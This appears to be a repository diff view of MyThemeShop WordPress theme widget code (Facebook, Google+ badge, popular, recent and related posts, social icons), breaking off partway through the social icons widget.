$defaults = array('title' => __('Find us on Facebook','mythemeshop'), 'page_url' => '', 'width' => '292', 'color_scheme' => 'light', 'show_faces' => 'on', 'show_stream' => false, 'show_header' => false);
$instance = wp_parse_args((array) $instance, $defaults); ?>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title','mythemeshop'); ?>:</label>
<input type="text" class="widefat" style="width: 216px;" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" value="<?php echo $instance['title']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('page_url'); ?>"><?php _e('Facebook Page URL','mythemeshop'); ?>:</label>
<input type="text" class="widefat" style="width: 216px;" id="<?php echo $this->get_field_id('page_url'); ?>" name="<?php echo $this->get_field_name('page_url'); ?>" value="<?php echo $instance['page_url']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('width'); ?>"><?php _e('Width','mythemeshop'); ?>:</label>
<input type="text" class="widefat" style="width: 30px;" id="<?php echo $this->get_field_id('width'); ?>" name="<?php echo $this->get_field_name('width'); ?>" value="<?php echo $instance['width']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('color_scheme'); ?>"><?php _e('Color Scheme','mythemeshop'); ?>:</label>
<select id="<?php echo $this->get_field_id('color_scheme'); ?>" name="<?php echo $this->get_field_name('color_scheme'); ?>" style="width:100%;">
<option <?php if ('light' == $instance['color_scheme']) echo 'selected="selected"'; ?>><?php _e('light','mythemeshop'); ?></option>
<option <?php if ('dark' == $instance['color_scheme']) echo 'selected="selected"'; ?>><?php _e('dark','mythemeshop'); ?></option>
</select>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['show_faces'], 'on'); ?> id="<?php echo $this->get_field_id('show_faces'); ?>" name="<?php echo $this->get_field_name('show_faces'); ?>" />
<label for="<?php echo $this->get_field_id('show_faces'); ?>"><?php _e('Show faces','mythemeshop'); ?></label>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['show_stream'], 'on'); ?> id="<?php echo $this->get_field_id('show_stream'); ?>" name="<?php echo $this->get_field_name('show_stream'); ?>" />
<label for="<?php echo $this->get_field_id('show_stream'); ?>"><?php _e('Show stream','mythemeshop'); ?></label>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['show_header'], 'on'); ?> id="<?php echo $this->get_field_id('show_header'); ?>" name="<?php echo $this->get_field_name('show_header'); ?>" />
<label for="<?php echo $this->get_field_id('show_header'); ?>"><?php _e('Show facebook header','mythemeshop'); ?></label>
</p>
<?php
}
}
?>

View File

@@ -0,0 +1,149 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop Google Plus Badge Box
Description: A widget for displaying Google Plus Badge Box.
Version: 1.0
-----------------------------------------------------------------------------------*/
add_action('widgets_init', 'mts_googleplus_load_widgets');
function mts_googleplus_load_widgets()
{
register_widget('mts_googleplus_Widget');
}
/*
class mts_googleplus_Widget extends WP_Widget {
function mts_googleplus_Widget()
{
$widget_ops = array('classname' => 'mts_googleplus', 'description' => __('Add Google Plus Badge Box.','mythemeshop'));
$control_ops = array('id_base' => 'google-badge-box');
parent::__construct('google-badge-box', __('MyThemeShop: Google Plus Badge Box','mythemeshop'), $widget_ops, $control_ops);
}
*/
class mts_googleplus_Widget extends WP_Widget {
public function __construct() {
$widget_ops = array(
'classname' => 'mts_googleplus_widget',
'description' => __('Display Google+ Badge.', 'your-text-domain')
);
parent::__construct('mts_googleplus_widget', __('Google+ Widget', 'your-text-domain'), $widget_ops);
}
function widget($args, $instance)
{
extract($args);
$title = apply_filters('widget_title', $instance['title']);
$page_type = $instance['page_type'];
$page_url = $instance['page_url'];
$width = $instance['width'];
$color_scheme = $instance['color_scheme'];
$gp_layout = $instance['gp_layout'];
$cover_photo = isset($instance['cover_photo']) ? 'true' : 'false';
$tagline = isset($instance['tagline']) ? 'true' : 'false';
echo $before_widget;
if($title) {
echo $before_title.$title.$after_title;
}
if($page_url): ?>
<div <?php if($page_type == 'profile') { ?>class="g-person"<?php } elseif($page_type == 'page') { ?>class="g-page"<?php } elseif($page_type == 'community') { ?>class="g-community"<?php } ?> data-width="<?php echo $width; ?>" data-href="<?php echo $page_url; ?>" data-layout="<?php echo $gp_layout; ?>" data-theme="<?php echo $color_scheme; ?>" data-rel="publisher" data-showtagline="<?php echo $tagline; ?>" data-showcoverphoto="<?php echo $cover_photo; ?>"></div>
<!-- Place this tag after the last badgev2 tag. -->
<script type="text/javascript">
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/plusone.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
</script>
<?php endif;
echo $after_widget;
}
function update($new_instance, $old_instance)
{
$instance = $old_instance;
$instance['title'] = strip_tags($new_instance['title']);
$instance['page_type'] = $new_instance['page_type'];
$instance['page_url'] = $new_instance['page_url'];
$instance['width'] = $new_instance['width'];
$instance['gp_layout'] = $new_instance['gp_layout'];
$instance['color_scheme'] = $new_instance['color_scheme'];
$instance['cover_photo'] = $new_instance['cover_photo'];
$instance['tagline'] = $new_instance['tagline'];
return $instance;
}
function form($instance)
{
$defaults = array('title' => __('Find us on Google Plus','mythemeshop'), 'page_url' => '', 'width' => '300', 'color_scheme' => 'light', 'gp_layout' => 'portrait', 'page_type' => 'profile', 'cover_photo' => 'on', 'tagline' => 'on');
$instance = wp_parse_args((array) $instance, $defaults); ?>
<p>
<label for="<?php echo $this->get_field_id('page_type'); ?>"><?php _e('Page type','mythemeshop'); ?>:</label>
<select id="<?php echo $this->get_field_id('page_type'); ?>" name="<?php echo $this->get_field_name('page_type'); ?>" style="width:100%;">
<option <?php if ('profile' == $instance['page_type']) echo 'selected="selected"'; ?>>profile</option>
<option <?php if ('page' == $instance['page_type']) echo 'selected="selected"'; ?>>page</option>
<option <?php if ('community' == $instance['page_type']) echo 'selected="selected"'; ?>>community</option>
</select>
</p>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title','mythemeshop'); ?>:</label>
<input type="text" class="widefat" style="width: 216px;" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" value="<?php echo $instance['title']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('page_url'); ?>"><?php _e('Google+ Page URL','mythemeshop'); ?>:</label>
<input type="text" class="widefat" style="width: 216px;" id="<?php echo $this->get_field_id('page_url'); ?>" name="<?php echo $this->get_field_name('page_url'); ?>" value="<?php echo $instance['page_url']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('width'); ?>"><?php _e('Width','mythemeshop'); ?>:</label>
<input type="text" class="widefat" style="width: 30px;" id="<?php echo $this->get_field_id('width'); ?>" name="<?php echo $this->get_field_name('width'); ?>" value="<?php echo $instance['width']; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('color_scheme'); ?>"><?php _e('Color Scheme','mythemeshop'); ?>:</label>
<select id="<?php echo $this->get_field_id('color_scheme'); ?>" name="<?php echo $this->get_field_name('color_scheme'); ?>" style="width:100%;">
<option <?php if ('light' == $instance['color_scheme']) echo 'selected="selected"'; ?>>light</option>
<option <?php if ('dark' == $instance['color_scheme']) echo 'selected="selected"'; ?>>dark</option>
</select>
</p>
<p>
<label for="<?php echo $this->get_field_id('gp_layout'); ?>"><?php _e('Layout','mythemeshop'); ?>:</label>
<select id="<?php echo $this->get_field_id('gp_layout'); ?>" name="<?php echo $this->get_field_name('gp_layout'); ?>" style="width:100%;">
<option <?php if ('portrait' == $instance['gp_layout']) echo 'selected="selected"'; ?>>portrait</option>
<option <?php if ('landscape' == $instance['gp_layout']) echo 'selected="selected"'; ?>>landscape</option>
</select>
</p>
<p>
<b><?php _e('Portrait Layout Settings','mythemeshop'); ?></b>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['cover_photo'], 'on'); ?> id="<?php echo $this->get_field_id('cover_photo'); ?>" name="<?php echo $this->get_field_name('cover_photo'); ?>" />
<label for="<?php echo $this->get_field_id('cover_photo'); ?>"><?php _e('Cover Photo','mythemeshop'); ?></label>
</p>
<p>
<input class="checkbox" type="checkbox" <?php checked($instance['tagline'], 'on'); ?> id="<?php echo $this->get_field_id('tagline'); ?>" name="<?php echo $this->get_field_name('tagline'); ?>" />
<label for="<?php echo $this->get_field_id('tagline'); ?>"><?php _e('Tagline','mythemeshop'); ?></label>
</p>
<?php
}
}
?>

View File

@@ -0,0 +1,179 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop Popular Posts
Version: 2.0
-----------------------------------------------------------------------------------*/
class mts_poluar_posts_widget extends WP_Widget {
public function __construct() {
parent::__construct(
'mts_poluar_posts_widget',
__('MyThemeShop: Popular Posts','mythemeshop'),
array( 'description' => __( 'Displays most Popular Posts with Thumbnail.','mythemeshop' ) )
);
}
public function form( $instance ) {
$defaults = array(
'comment_num' => 1,
'date' => 1,
'days' => 30,
'show_thumb3' => 1,
'show_excerpt' => 1,
'excerpt_length' => 10,
);
$instance = wp_parse_args((array) $instance, $defaults);
$title = isset( $instance[ 'title' ] ) ? $instance[ 'title' ] : __( 'Popular Posts','mythemeshop' );
$qty = isset( $instance[ 'qty' ] ) ? intval( $instance[ 'qty' ] ) : 5;
$comment_num = isset( $instance[ 'comment_num' ] ) ? intval( $instance[ 'comment_num' ] ) : 1;
$date = isset( $instance[ 'date' ] ) ? intval( $instance[ 'date' ] ) : 1;
$days = isset( $instance[ 'days' ] ) ? intval( $instance[ 'days' ] ) : 30;
$show_thumb3 = isset( $instance[ 'show_thumb3' ] ) ? intval( $instance[ 'show_thumb3' ] ) : 1;
$show_excerpt = isset( $instance[ 'show_excerpt' ] ) ? esc_attr( $instance[ 'show_excerpt' ] ) : 1;
$excerpt_length = isset( $instance[ 'excerpt_length' ] ) ? intval( $instance[ 'excerpt_length' ] ) : 10;
?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:','mythemeshop' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'days' ); ?>"><?php _e( 'Popular limit (days):', 'mythemeshop' ); ?>
<input id="<?php echo $this->get_field_id( 'days' ); ?>" name="<?php echo $this->get_field_name( 'days' ); ?>" type="number" min="1" step="1" value="<?php echo $days; ?>" />
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id( 'qty' ); ?>"><?php _e( 'Number of Posts to show','mythemeshop' ); ?></label>
<input id="<?php echo $this->get_field_id( 'qty' ); ?>" name="<?php echo $this->get_field_name( 'qty' ); ?>" type="number" min="1" step="1" value="<?php echo $qty; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id("show_thumb3"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_thumb3"); ?>" name="<?php echo $this->get_field_name("show_thumb3"); ?>" value="1" <?php if (isset($instance['show_thumb3'])) { checked( 1, $instance['show_thumb3'], true ); } ?> />
<?php _e( 'Show Thumbnails', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("date"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("date"); ?>" name="<?php echo $this->get_field_name("date"); ?>" value="1" <?php if (isset($instance['date'])) { checked( 1, $instance['date'], true ); } ?> />
<?php _e( 'Show post date', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("comment_num"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("comment_num"); ?>" name="<?php echo $this->get_field_name("comment_num"); ?>" value="1" <?php checked( 1, $instance['comment_num'], true ); ?> />
<?php _e( 'Show number of comments', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("show_excerpt"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_excerpt"); ?>" name="<?php echo $this->get_field_name("show_excerpt"); ?>" value="1" <?php checked( 1, $instance['show_excerpt'], true ); ?> />
<?php _e( 'Show excerpt', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id( 'excerpt_length' ); ?>"><?php _e( 'Excerpt Length:', 'mythemeshop' ); ?>
<input id="<?php echo $this->get_field_id( 'excerpt_length' ); ?>" name="<?php echo $this->get_field_name( 'excerpt_length' ); ?>" type="number" min="1" step="1" value="<?php echo $excerpt_length; ?>" />
</label>
</p>
<?php
}
public function update( $new_instance, $old_instance ) {
$instance = array();
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['qty'] = intval( $new_instance['qty'] );
$instance['comment_num'] = intval( $new_instance['comment_num'] );
$instance['date'] = intval( $new_instance['date'] );
$instance['days'] = intval( $new_instance['days'] );
$instance['show_thumb3'] = intval( $new_instance['show_thumb3'] );
$instance['show_excerpt'] = intval( $new_instance['show_excerpt'] );
$instance['excerpt_length'] = intval( $new_instance['excerpt_length'] );
return $instance;
}
public function widget( $args, $instance ) {
extract( $args );
$title = apply_filters( 'widget_title', $instance['title'] );
$comment_num = $instance['comment_num'];
$date = $instance['date'];
$days = $instance['days'];
$qty = (int) $instance['qty'];
$show_thumb3 = (int) $instance['show_thumb3'];
$show_excerpt = $instance['show_excerpt'];
$excerpt_length = $instance['excerpt_length'];
echo $before_widget;
if ( ! empty( $title ) ) echo $before_title . $title . $after_title;
echo self::get_popular_posts( $qty, $comment_num, $date, $days, $show_thumb3, $show_excerpt, $excerpt_length );
echo $after_widget;
}
public function get_popular_posts( $qty, $comment_num, $date, $days, $show_thumb3, $show_excerpt, $excerpt_length ) {
global $post;
if ( $days ) {
global $popular_days;
$popular_days = $days;
// Register the filtering function
add_filter( 'posts_where', 'filter_where' );
}
//Create a new filtering function that will add our where clause to the query
function filter_where( $where = '' ) {
global $popular_days;
//posts in the last X days
$where .= " AND post_date > '" . date('Y-m-d', strtotime('-'.$popular_days.' days')) . "'";
return $where;
}
$popular = get_posts( array( 'suppress_filters' => false, 'ignore_sticky_posts' => 1, 'orderby' => 'comment_count', 'numberposts' => $qty ) );
echo '<ul class="popular-posts">';
foreach($popular as $post) :
setup_postdata($post);
?>
<li>
<a href="<?php the_permalink(); ?>">
<?php if ( $show_thumb3 == 1 ) : ?>
<?php if(has_post_thumbnail()): ?>
<?php the_post_thumbnail('widgetthumb',array('title' => '')); ?>
<?php else: ?>
<img src="<?php echo get_template_directory_uri(); ?>/images/smallthumb.png" alt="<?php the_title(); ?>" class="wp-post-image" />
<?php endif; ?>
<?php endif; ?>
<?php the_title(); ?>
</a>
<div class="meta">
<?php if ( $date == 1 ) : ?>
<?php the_time('F j, Y'); ?>
<?php endif; ?>
<?php if ( $date == 1 && $comment_num == 1) : ?>
&bull;
<?php endif; ?>
<?php if ( $comment_num == 1 ) : ?>
<?php echo comments_number(__('No Comment','mythemeshop'), __('One Comment','mythemeshop'), '<span class="comm">%</span> '.__('Comments','mythemeshop'));?>
<?php endif; ?>
</div> <!--end .entry-meta-->
<?php if ( $show_excerpt == 1 ) : ?>
<p>
<?php echo mts_excerpt($excerpt_length); ?>
</p>
<?php endif; ?>
</li>
<?php endforeach; wp_reset_postdata();
echo '</ul>'."\r\n";
remove_filter( 'posts_where', 'filter_where' );
}
}
//add_action( 'widgets_init', create_function( '', 'register_widget( "mts_poluar_posts_widget" );' ) );
add_action('widgets_init', function(){return register_widget("mts_poluar_posts_widget");});

View File

@@ -0,0 +1,156 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop Category Posts
Version: 2.0
-----------------------------------------------------------------------------------*/
class mts_recent_posts_widget extends WP_Widget {
public function __construct() {
parent::__construct(
'mts_recent_posts_widget',
__('MyThemeShop: Recent Posts','mythemeshop'),
array( 'description' => __( 'Display the most recent posts from all categories','mythemeshop' ) )
);
}
public function form( $instance ) {
$defaults = array(
'comment_num' => 1,
'date' => 1,
'show_thumb2' => 1,
'show_excerpt' => 1,
'excerpt_length' => 10
);
$instance = wp_parse_args((array) $instance, $defaults);
$title = isset( $instance[ 'title' ] ) ? $instance[ 'title' ] : __( 'Recent Posts','mythemeshop' );
$qty = isset( $instance[ 'qty' ] ) ? esc_attr( $instance[ 'qty' ] ) : 5;
$comment_num = isset( $instance[ 'comment_num' ] ) ? esc_attr( $instance[ 'comment_num' ] ) : 1;
$show_excerpt = isset( $instance[ 'show_excerpt' ] ) ? esc_attr( $instance[ 'show_excerpt' ] ) : 1;
$date = isset( $instance[ 'date' ] ) ? esc_attr( $instance[ 'date' ] ) : 1;
$excerpt_length = isset( $instance[ 'excerpt_length' ] ) ? intval( $instance[ 'excerpt_length' ] ) : 10;
$show_thumb2 = isset( $instance[ 'show_thumb2' ] ) ? esc_attr( $instance[ 'show_thumb2' ] ) : 1;
$show_excerpt = isset( $instance[ 'show_excerpt' ] ) ? esc_attr( $instance[ 'show_excerpt' ] ) : 1;
$excerpt_length = isset( $instance[ 'excerpt_length' ] ) ? intval( $instance[ 'excerpt_length' ] ) : 10;
?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:','mythemeshop' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'qty' ); ?>"><?php _e( 'Number of Posts to show','mythemeshop' ); ?></label>
<input id="<?php echo $this->get_field_id( 'qty' ); ?>" name="<?php echo $this->get_field_name( 'qty' ); ?>" type="number" min="1" step="1" value="<?php echo $qty; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id("show_thumb2"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_thumb2"); ?>" name="<?php echo $this->get_field_name("show_thumb2"); ?>" value="1" <?php if (isset($instance['show_thumb2'])) { checked( 1, $instance['show_thumb2'], true ); } ?> />
<?php _e( 'Show Thumbnails', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("date"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("date"); ?>" name="<?php echo $this->get_field_name("date"); ?>" value="1" <?php checked( 1, $instance['date'], true ); ?> />
<?php _e( 'Show post date', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("comment_num"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("comment_num"); ?>" name="<?php echo $this->get_field_name("comment_num"); ?>" value="1" <?php checked( 1, $instance['comment_num'], true ); ?> />
<?php _e( 'Show number of comments', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("show_excerpt"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_excerpt"); ?>" name="<?php echo $this->get_field_name("show_excerpt"); ?>" value="1" <?php checked( 1, $instance['show_excerpt'], true ); ?> />
<?php _e( 'Show excerpt', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id( 'excerpt_length' ); ?>"><?php _e( 'Excerpt Length:', 'mythemeshop' ); ?>
<input id="<?php echo $this->get_field_id( 'excerpt_length' ); ?>" name="<?php echo $this->get_field_name( 'excerpt_length' ); ?>" type="number" min="1" step="1" value="<?php echo $excerpt_length; ?>" />
</label>
</p>
<?php
}
public function update( $new_instance, $old_instance ) {
$instance = array();
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['qty'] = intval( $new_instance['qty'] );
$instance['comment_num'] = intval( $new_instance['comment_num'] );
$instance['date'] = intval( $new_instance['date'] );
$instance['show_thumb2'] = intval( $new_instance['show_thumb2'] );
$instance['show_excerpt'] = intval( $new_instance['show_excerpt'] );
$instance['excerpt_length'] = intval( $new_instance['excerpt_length'] );
return $instance;
}
public function widget( $args, $instance ) {
extract( $args );
$title = apply_filters( 'widget_title', $instance['title'] );
$comment_num = $instance['comment_num'];
$date = $instance['date'];
$qty = (int) $instance['qty'];
$show_thumb2 = (int) $instance['show_thumb2'];
$show_excerpt = $instance['show_excerpt'];
$excerpt_length = $instance['excerpt_length'];
echo $before_widget;
if ( ! empty( $title ) ) echo $before_title . $title . $after_title;
echo self::get_cat_posts( $qty, $comment_num, $date, $show_thumb2, $show_excerpt, $excerpt_length );
echo $after_widget;
}
public function get_cat_posts( $qty, $comment_num, $date, $show_thumb2, $show_excerpt, $excerpt_length ) {
$posts = new WP_Query(
"orderby=date&order=DESC&posts_per_page=".$qty
);
echo '<ul class="advanced-recent-posts">';
while ( $posts->have_posts() ) { $posts->the_post(); ?>
<li>
<a href="<?php the_permalink(); ?>">
<?php if ( $show_thumb2 == 1 ) : ?>
<?php if(has_post_thumbnail()): ?>
<?php the_post_thumbnail('widgetthumb',array('title' => '')); ?>
<?php else: ?>
<img src="<?php echo get_template_directory_uri(); ?>/images/smallthumb.png" alt="<?php the_title(); ?>" class="wp-post-image" />
<?php endif; ?>
<?php endif; ?>
<?php the_title(); ?>
</a>
<div class="meta">
<?php if ( $date == 1 ) : ?>
<?php the_time('F j, Y'); ?>
<?php endif; ?>
<?php if ( $date == 1 && $comment_num == 1) : ?>
&bull;
<?php endif; ?>
<?php if ( $comment_num == 1 ) : ?>
<?php echo comments_number(__('No Comment','mythemeshop'), __('One Comment','mythemeshop'), '<span class="comm">%</span> '.__('Comments','mythemeshop'));?>
<?php endif; ?>
</div> <!--end .entry-meta-->
<?php if ( $show_excerpt == 1 ) : ?>
<p>
<?php echo mts_excerpt($excerpt_length); ?>
</p>
<?php endif; ?>
</li>
<?php }
echo '</ul>'."\r\n";
}
}
//add_action( 'widgets_init', create_function( '', 'register_widget( "mts_recent_posts_widget" );' ) );
add_action('widgets_init', function(){return register_widget("mts_recent_posts_widget");});

View File

@@ -0,0 +1,164 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop Related Posts
Version: 2.0
-----------------------------------------------------------------------------------*/
class mts_related_posts_widget extends WP_Widget {
public function __construct() {
parent::__construct(
'mts_related_posts_widget',
__('MyThemeShop: Related Posts','mythemeshop'),
array( 'description' => __( 'Display the related posts from current post\'s categories. Will appear on single posts only.','mythemeshop' ) )
);
}
public function form( $instance ) {
$defaults = array(
'comment_num' => 1,
'date' => 1,
'show_thumb6' => 1,
'show_excerpt' => 1,
'excerpt_length' => 10
);
$instance = wp_parse_args((array) $instance, $defaults);
$title = isset( $instance[ 'title' ] ) ? $instance[ 'title' ] : __( 'Related Posts','mythemeshop' );
$qty = isset( $instance[ 'qty' ] ) ? esc_attr( $instance[ 'qty' ] ) : 5;
$comment_num = isset( $instance[ 'comment_num' ] ) ? esc_attr( $instance[ 'comment_num' ] ) : 1;
$date = isset( $instance[ 'date' ] ) ? esc_attr( $instance[ 'date' ] ) : 1;
$show_thumb6 = isset( $instance[ 'show_thumb6' ] ) ? esc_attr( $instance[ 'show_thumb6' ] ) : 1;
$show_excerpt = isset( $instance[ 'show_excerpt' ] ) ? esc_attr( $instance[ 'show_excerpt' ] ) : 1;
$excerpt_length = isset( $instance[ 'excerpt_length' ] ) ? intval( $instance[ 'excerpt_length' ] ) : 10;
?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:','mythemeshop' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'qty' ); ?>"><?php _e( 'Number of Posts to show','mythemeshop' ); ?></label>
<input id="<?php echo $this->get_field_id( 'qty' ); ?>" name="<?php echo $this->get_field_name( 'qty' ); ?>" type="number" min="1" step="1" value="<?php echo $qty; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id("show_thumb6"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_thumb6"); ?>" name="<?php echo $this->get_field_name("show_thumb6"); ?>" value="1" <?php if (isset($instance['show_thumb6'])) { checked( 1, $instance['show_thumb6'], true ); } ?> />
<?php _e( 'Show Thumbnails', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("date"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("date"); ?>" name="<?php echo $this->get_field_name("date"); ?>" value="1" <?php checked( 1, $instance['date'], true ); ?> />
<?php _e( 'Show post date', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("comment_num"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("comment_num"); ?>" name="<?php echo $this->get_field_name("comment_num"); ?>" value="1" <?php checked( 1, $instance['comment_num'], true ); ?> />
<?php _e( 'Show number of comments', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("show_excerpt"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_excerpt"); ?>" name="<?php echo $this->get_field_name("show_excerpt"); ?>" value="1" <?php checked( 1, $instance['show_excerpt'], true ); ?> />
<?php _e( 'Show excerpt', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id( 'excerpt_length' ); ?>"><?php _e( 'Excerpt Length:', 'mythemeshop' ); ?>
<input id="<?php echo $this->get_field_id( 'excerpt_length' ); ?>" name="<?php echo $this->get_field_name( 'excerpt_length' ); ?>" type="number" min="1" step="1" value="<?php echo $excerpt_length; ?>" />
</label>
</p>
<?php
}
public function update( $new_instance, $old_instance ) {
$instance = array();
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['qty'] = intval( $new_instance['qty'] );
$instance['comment_num'] = intval( $new_instance['comment_num'] );
$instance['date'] = intval( $new_instance['date'] );
$instance['show_thumb6'] = intval( $new_instance['show_thumb6'] );
$instance['show_excerpt'] = intval( $new_instance['show_excerpt'] );
$instance['excerpt_length'] = intval( $new_instance['excerpt_length'] );
return $instance;
}
public function widget( $args, $instance ) {
extract( $args );
$title = apply_filters( 'widget_title', $instance['title'] );
$comment_num = $instance['comment_num'];
$date = $instance['date'];
$qty = (int) $instance['qty'];
$show_thumb6 = (int) $instance['show_thumb6'];
$show_excerpt = $instance['show_excerpt'];
$excerpt_length = $instance['excerpt_length'];
if(is_singular()){
echo $before_widget;
if ( ! empty( $title ) ) echo $before_title . $title . $after_title;
echo self::get_cat_posts( $qty, $comment_num, $date, $show_thumb6, $show_excerpt, $excerpt_length );
echo $after_widget;
}
}
public function get_cat_posts( $qty, $comment_num, $date, $show_thumb6, $show_excerpt, $excerpt_length ) {
global $post;
$thePostID = $post->ID;
$cats = get_the_category($thePostID);
$cat_ids = array();
foreach($cats as $individual_cat)
$cat_ids[] = $individual_cat->cat_ID;
$posts = new WP_Query(
array(
'category__in' => $cat_ids,
'post__not_in' => array($thePostID),
'posts_per_page' => $qty,
'orderby' => 'rand'
));
echo '<ul class="related-posts-widget">';
while ( $posts->have_posts() ) { $posts->the_post(); ?>
<li>
<a href="<?php the_permalink(); ?>">
<?php if ( $show_thumb6 == 1 ) : ?>
<?php if(has_post_thumbnail()): ?>
<?php the_post_thumbnail('widgetthumb',array('title' => '')); ?>
<?php else: ?>
<img src="<?php echo get_template_directory_uri(); ?>/images/smallthumb.png" alt="<?php the_title(); ?>" class="wp-post-image" />
<?php endif; ?>
<?php endif; ?>
<?php the_title(); ?>
</a>
<div class="meta">
<?php if ( $date == 1 ) : ?>
<?php the_time('F j, Y'); ?>
<?php endif; ?>
<?php if ( $date == 1 && $comment_num == 1) : ?>
&bull;
<?php endif; ?>
<?php if ( $comment_num == 1 ) : ?>
<?php echo comments_number(__('No Comment','mythemeshop'), __('One Comment','mythemeshop'), '<span class="comm">%</span> '.__('Comments','mythemeshop'));?>
<?php endif; ?>
</div> <!--end .entry-meta-->
<?php if ( $show_excerpt == 1 ) : ?>
<p>
<?php echo mts_excerpt($excerpt_length); ?>
</p>
<?php endif; ?>
</li>
<?php }
echo '</ul>'."\r\n";
}
}
//add_action( 'widgets_init', create_function( '', 'register_widget( "mts_related_posts_widget" );' ) );
add_action('widgets_init', function(){return register_widget("mts_related_posts_widget");});

208
functions/widget-social.php Normal file
View File

@@ -0,0 +1,208 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: Social Profile Icons
Description: Show social profile icons in sidebar or footer.
Version: 1.0
-----------------------------------------------------------------------------------*/
//Widget Registration.
function mythemeshop_load_widget() {
register_widget( 'Social_Profile_Icons_Widget' );
}
class Social_Profile_Icons_Widget extends WP_Widget {
protected $defaults;
protected $sizes;
protected $profiles;
function __construct() {
$this->defaults = array(
'title' => '',
'new_window' => 0,
'size' => 32,
'dribbble' => '',
'email' => '',
'facebook' => '',
'gplus' => '',
'linkedin' => '',
'pinterest' => '',
'rss' => '',
'stumbleupon' => '',
'twitter' => '',
'youtube' => '',
'flickr' => '',
'lastfm' => '',
'tumblr' => '',
'vimeo' => '',
);
$this->sizes = array( '32' );
$this->profiles = array(
'dribbble' => array(
'label' => __( 'Dribbble URI', 'mythemeshop' ),
'pattern' => '<li class="social-dribbble"><a title="Dribbble" href="%s" %s>Dribbble</a></li>',
),
'email' => array(
'label' => __( 'Email URI', 'mythemeshop' ),
'pattern' => '<li class="social-email"><a title="Email" href="%s" %s>Email</a></li>',
),
'facebook' => array(
'label' => __( 'Facebook URI', 'mythemeshop' ),
'pattern' => '<li class="social-facebook"><a title="Facebook" href="%s" %s>Facebook</a></li>',
),
'gplus' => array(
'label' => __( 'Google+ URI', 'mythemeshop' ),
